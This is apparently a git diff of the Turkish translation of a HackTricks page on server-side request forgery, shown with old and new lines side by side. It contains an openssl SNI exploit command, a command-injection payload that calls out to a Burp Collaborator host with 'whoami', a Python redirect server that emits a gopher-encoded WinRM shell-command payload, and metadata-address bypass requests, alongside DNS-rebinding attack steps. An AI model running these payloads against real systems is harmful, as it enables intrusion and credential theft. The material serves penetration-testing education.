Sunuculardaki analiz yazılımları genellikle gelen bağlantıları izlemek için Referrer başlığını kaydeder, bu uygulamaları yanlışlıkla Sunucu Tarafı İstek Sahteciliği (SSRF) açıklarına maruz bırakır. Bu, çünkü bu tür yazılımlar, Referer başlığında belirtilen harici URL'leri analiz etmek için ziyaret edebilir. Bu açıkları ortaya çıkarmak için Burp Suite eklentisi "**Collaborator Everywhere**" önerilir, analiz araçlarının Referer başlığını işleme şeklini kullanarak potansiyel SSRF saldırı yüzeylerini belirlemek için.
|
||||
|
||||
## Sertifikadan SNI verileri aracılığıyla SSRF
|
||||
|
||||
|
@ -145,7 +145,7 @@ ssl_preread on;
|
|||
}
|
||||
}
|
||||
```
|
||||
Bu yapılandırmada, Sunucu Adı Gösterimi (SNI) alanındaki değer doğrudan arka uç adresi olarak kullanılır. Bu kurulum, yalnızca SNI alanında istenen IP adresini veya alan adını belirterek sömürülebilecek bir Sunucu Tarafı İstek Sahtekarlığı (SSRF) zafiyetini ortaya çıkarır. `openssl` komutunu kullanarak, örneğin `internal.host.com` gibi keyfi bir arka uca bağlantı zorlamak için bir sömürü örneği aşağıda verilmiştir:
|
||||
Bu yapılandırmada, Sunucu Adı Gösterimi (SNI) alanındaki değer doğrudan arka uç adresi olarak kullanılır. Bu kurulum, yalnızca SNI alanında istenen IP adresini veya alan adını belirterek sömürülebilecek bir Sunucu Tarafı İstek Sahtekarlığı (SSRF) zafiyetini ortaya çıkarır. `openssl` komutunu kullanarak, örneğin `internal.host.com` gibi keyfi bir arka uca bağlantı yapmak için bir sömürü örneği aşağıda verilmiştir:
|
||||
```bash
|
||||
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
```
|
||||
|
@ -153,25 +153,27 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
|||
|
||||
## Komut Enjeksiyonu ile SSRF
|
||||
|
||||
Denemeye değer bir yük (payload) şu şekilde olabilir: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
`` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` gibi bir yük denemeye değer olabilir.
|
||||
|
||||
## PDF'lerin Oluşturulması
|
||||
|
||||
Eğer web sayfası sizin sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, **PDF oluşturucusu** (sunucu) tarafından yürütülecek bazı JS kodları ekleyebilir ve bir SSRF'yi istismar edebilirsiniz. [**Daha fazla bilgiyi buradan bulabilirsiniz**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
Web sayfası otomatik olarak sağladığınız bazı bilgilerle bir PDF oluşturuyorsa, PDF oluşturucu (sunucu) tarafından yürütülecek olan bazı JS kodları ekleyebilir ve bir SSRF'yi kötüye kullanabilirsiniz. [**Daha fazla bilgiyi buradan bulabilirsiniz**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## SSRF'den DoS'a
|
||||
|
||||
Birkaç oturum oluşturun ve oturumlardan SSRF'yi istismar ederek ağır dosyaları indirmeyi deneyin.
|
||||
Birkaç oturum oluşturun ve oturumlardan SSRF'yi kötüye kullanarak ağır dosyaları indirmeyi deneyin.
|
||||
|
||||
## SSRF PHP Fonksiyonları
|
||||
|
||||
Vulnerable PHP ve hatta Wordpress fonksiyonları için aşağıdaki sayfayı kontrol edin:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
|
||||
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Gopher'a Yönlendirme ile SSRF
|
||||
|
||||
Bazı istismarlar için **bir yönlendirme yanıtı göndermeniz gerekebilir** (muhtemelen farklı bir protokol olan gopher'ı kullanmak için). Burada bir yönlendirme ile yanıt vermek için farklı python kodları bulunmaktadır:
|
||||
Bazı kötüye kullanımlar için **bir yönlendirme yanıtı göndermeniz gerekebilir** (muhtemelen farklı bir protokol olan gopher'ı kullanmak için). Burada yönlendirme ile yanıt vermek için farklı python kodları bulunmaktadır:
|
||||
```python
|
||||
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
|
@ -182,7 +184,7 @@ def do_GET(self):
|
|||
print("GET")
|
||||
self.send_response(301)
|
||||
```html
|
||||
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
|
||||
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%6d%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%6d%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
|
||||
```python
|
||||
self.end_headers()
|
||||
|
||||
|
@ -213,7 +215,7 @@ Bugün Erişim Edinin:
|
|||
|
||||
## Yanlış yapılandırılmış vekiller ile SSRF
|
||||
|
||||
Bu yazıdan [**alınan püf noktalar**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
[**Bu gönderiden**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) püf noktalar.
|
||||
|
||||
### Flask
|
||||
|
||||
|
@ -246,7 +248,7 @@ Connection: close
|
|||
```
|
||||
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
Zafiyetli kod:
|
||||
Zararlı kod:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -277,7 +279,7 @@ var_dump($response);
|
|||
```
|
||||
</details>
|
||||
|
||||
PHP, URL'nin yolundaki **slash'tan önce `*` karakterinin kullanılmasına izin verir**, ancak yalnızca kök dizin `/` için kullanılabilir ve noktalar `.` ilk slash'ten önce izin verilmediği için, örneğin noktasız-hex kodlu bir IP adresi kullanmak gereklidir:
|
||||
PHP, URL'nin yolundaki **slash'tan önce `*` karakterinin kullanılmasına izin verir**, ancak yalnızca kök dizin `/` için kullanılabilir ve noktalar `.` ilk slash'tan önce izin verilmediği için, örneğin noktasız-hex kodlu bir IP adresinin kullanılması gerekmektedir:
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
|
@ -285,7 +287,7 @@ Connection: close
|
|||
```
|
||||
## DNS Yeniden Yönlendirme CORS/SOP Geçişi
|
||||
|
||||
Eğer **CORS/SOP** nedeniyle **yerel bir IP'den içerik sızdırmakta sorun yaşıyorsanız**, bu kısıtlamayı atlamak için **DNS Yeniden Yönlendirme** kullanılabilir:
|
||||
Eğer **CORS/SOP** nedeniyle **yerel bir IP'den içerik sızdırmakta sorun yaşıyorsanız**, bu kısıtlamayı atlatmak için **DNS Yeniden Yönlendirme** kullanılabilir:
|
||||
|
||||
{% content-ref url="../cors-bypass.md" %}
|
||||
[cors-bypass.md](../cors-bypass.md)
|
||||
|
@ -293,7 +295,7 @@ Eğer **CORS/SOP** nedeniyle **yerel bir IP'den içerik sızdırmakta sorun yaş
|
|||
|
||||
### Otomatik DNS Yeniden Yönlendirme
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity), [DNS yeniden yönlendirme](https://en.wikipedia.org/wiki/DNS\_rebinding) saldırıları gerçekleştirmek için bir araçtır. Saldırganın saldırı sunucusunun DNS adını hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki güvenlik açıklarını sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity), [DNS yeniden yönlendirme](https://en.wikipedia.org/wiki/DNS\_rebinding) saldırıları gerçekleştirmek için bir araçtır. Saldırganın saldırı sunucusunun DNS adını hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki savunmasız yazılımları sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.
|
||||
|
||||
Ayrıca **http://rebind.it/singularity.html** adresinde **genel olarak çalışan sunucuyu** kontrol edin.
|
||||
|
||||
|
@ -307,20 +309,20 @@ Gereksinimler:
|
|||
|
||||
Saldırı:
|
||||
|
||||
1. Kullanıcının/botun **saldırgan tarafından kontrol edilen bir alanı** ziyaret etmesini isteyin
|
||||
2. **DNS**'nin **TTL** değeri **0** saniye olmalıdır (bu nedenle kurban, alanın IP'sini yakında tekrar kontrol edecektir)
|
||||
3. Kurban ile saldırganın alanı arasında bir **TLS bağlantısı** oluşturulur. Saldırgan, **Ses Kimliği veya Oturum Bileti** içine **yükleme ekler**.
|
||||
4. **Alan**, kendisine karşı **sonsuz yönlendirme döngüsü** başlatacaktır. Bu, kullanıcının/botun alanı erişmesini sağlayana kadar alanı tekrar **DNS isteği** yapmasını sağlamaktır.
|
||||
5. DNS isteğinde **şimdi** bir **özel IP** adresi verilir (örneğin 127.0.0.1)
|
||||
6. Kullanıcı/bot, **TLS bağlantısını yeniden kurmaya çalışacak** ve bunu yapmak için **Ses** Kimliği/Bilet Kimliği'ni gönderecektir (saldırganın yükünün bulunduğu yer). Bu sayede kullanıcının/botun kendisine saldırmasını başardınız.
|
||||
1. Kullanıcıyı/botu **saldırgan tarafından kontrol edilen bir alan adına erişmeye** davet edin
|
||||
2. **DNS**'nin **TTL** değeri **0** saniye olmalıdır (bu nedenle kurban, alan adının IP'sini yakında tekrar kontrol edecektir)
|
||||
3. Kurban ile saldırganın alan adı arasında bir **TLS bağlantısı oluşturulur**. Saldırgan, **Ses Kimliği veya Oturum Bileti** içine **yükleme ekler**.
|
||||
4. **Alan adı**, kendisine karşı **sonsuz bir yönlendirme döngüsü** başlatacaktır. Bu, kullanıcının/botun alan adına erişmesini sağlayana kadar alan adına **tekrar** bir **DNS isteği** yapmasını sağlamaktır.
|
||||
5. DNS isteğinde **şimdi bir özel IP** adresi verilir (örneğin 127.0.0.1)
|
||||
6. Kullanıcı/bot, **TLS bağlantısını yeniden kurmaya çalışacak** ve bunu yapabilmek için **Ses Kimliği/Oturum Bileti Kimliği'ni** (saldırganın yükünü içerdiği yer) **gönderecektir**. Bu sayede kullanıcı/botun kendisine saldırmasını başardınız.
|
||||
|
||||
Bu saldırı sırasında, localhost:11211 (_memcache_)'yi hedef almak istiyorsanız, kurbanın www.attacker.com:11211 ile ilk bağlantıyı kurmasını sağlamanız gerekir (port **her zaman aynı olmalıdır**).\
|
||||
Bu saldırı sırasında, localhost:11211 (_memcache_)'yi hedef almak istiyorsanız, kurbanın ilk bağlantıyı www.attacker.com:11211 ile kurmasını sağlamanız gerekir (port **her zaman aynı olmalıdır**).\
|
||||
Bu saldırıyı gerçekleştirmek için şu aracı kullanabilirsiniz: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
Bu saldırının açıklandığı sunumu incelemek için daha fazla bilgi için şuraya bakın: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
||||
Bu saldırının açıklandığı sunumu izlemek için daha fazla bilgi için: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
||||
|
||||
## Kör SSRF
|
||||
|
||||
Kör bir SSRF ile normal bir SSRF arasındaki fark, körde SSRF isteğinin yanıtını görememenizdir. Bu nedenle, yalnızca bilinen güvenlik açıklarını sömürebileceğiniz için daha zor sömürülebilir.
|
||||
Kör bir SSRF ile normal bir SSRF arasındaki fark, körde SSRF isteğinin yanıtını görememenizdir. Bu nedenle, yalnızca bilinen güvenlik açıklarını sömürebileceğiniz için sömürmek daha zor olacaktır.
|
||||
|
||||
### Zaman tabanlı SSRF
|
||||
|
||||
|
@ -328,7 +330,7 @@ Sunucudan gelen yanıtların **zamanını kontrol ederek**, bir kaynağın var o
|
|||
|
||||
## Bulut SSRF Sömürüsü
|
||||
|
||||
Bir bulut ortamında çalışan bir makinede bir SSRF açığı bulursanız, bulut ortamı hakkında ilginç bilgiler ve hatta kimlik bilgileri elde edebilirsiniz:
|
||||
Bir bulut ortamında çalışan bir makinede bir SSRF açığı bulursanız, bulut ortamı hakkında ilginç bilgiler elde edebilir ve hatta kimlik bilgilerini alabilirsiniz:
|
||||
|
||||
{% content-ref url="cloud-ssrf.md" %}
|
||||
[cloud-ssrf.md](cloud-ssrf.md)
|
||||
|
@ -365,7 +367,7 @@ Bu araç, şunlar için Gopher yükleri oluşturur:
|
|||
|
||||
* [SSRF kullanımı hakkında blog yazısı](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_, en yaygın _Java RMI_ güvenlik açıklarına karşı saldırı operasyonlarını destekleyen bir _Java RMI_ güvenlik açığı tarayıcısıdır. Mevcut operasyonların çoğu, istenen operasyon için bir _SSRF_ yükü oluşturmak için `--ssrf` seçeneğini destekler. `--gopher` seçeneği ile birlikte, hazır _gopher_ yükleri doğrudan oluşturulabilir.
|
||||
_remote-method-guesser_, en yaygın _Java RMI_ açıkları için saldırı işlemlerini destekleyen bir _Java RMI_ güvenlik açığı tarayıcısıdır. Mevcut işlemlerin çoğu, istenen işlem için _SSRF_ yükü oluşturmak için `--ssrf` seçeneğini destekler. `--gopher` seçeneği ile birlikte, hazır kullanıma hazır _gopher_ yükleri doğrudan oluşturulabilir.
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
||||
|
||||
|
@ -384,22 +386,22 @@ SSRF Proxy, Server-Side Request Forgery (SSRF) açığına sahip HTTP sunucular
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan ileri seviyeye AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
|
||||
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına PR göndererek paylaşın.
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery)'i kullanın.\
|
||||
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery)'i kullanın.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|
||||
|
|
Loading…
Reference in a new issue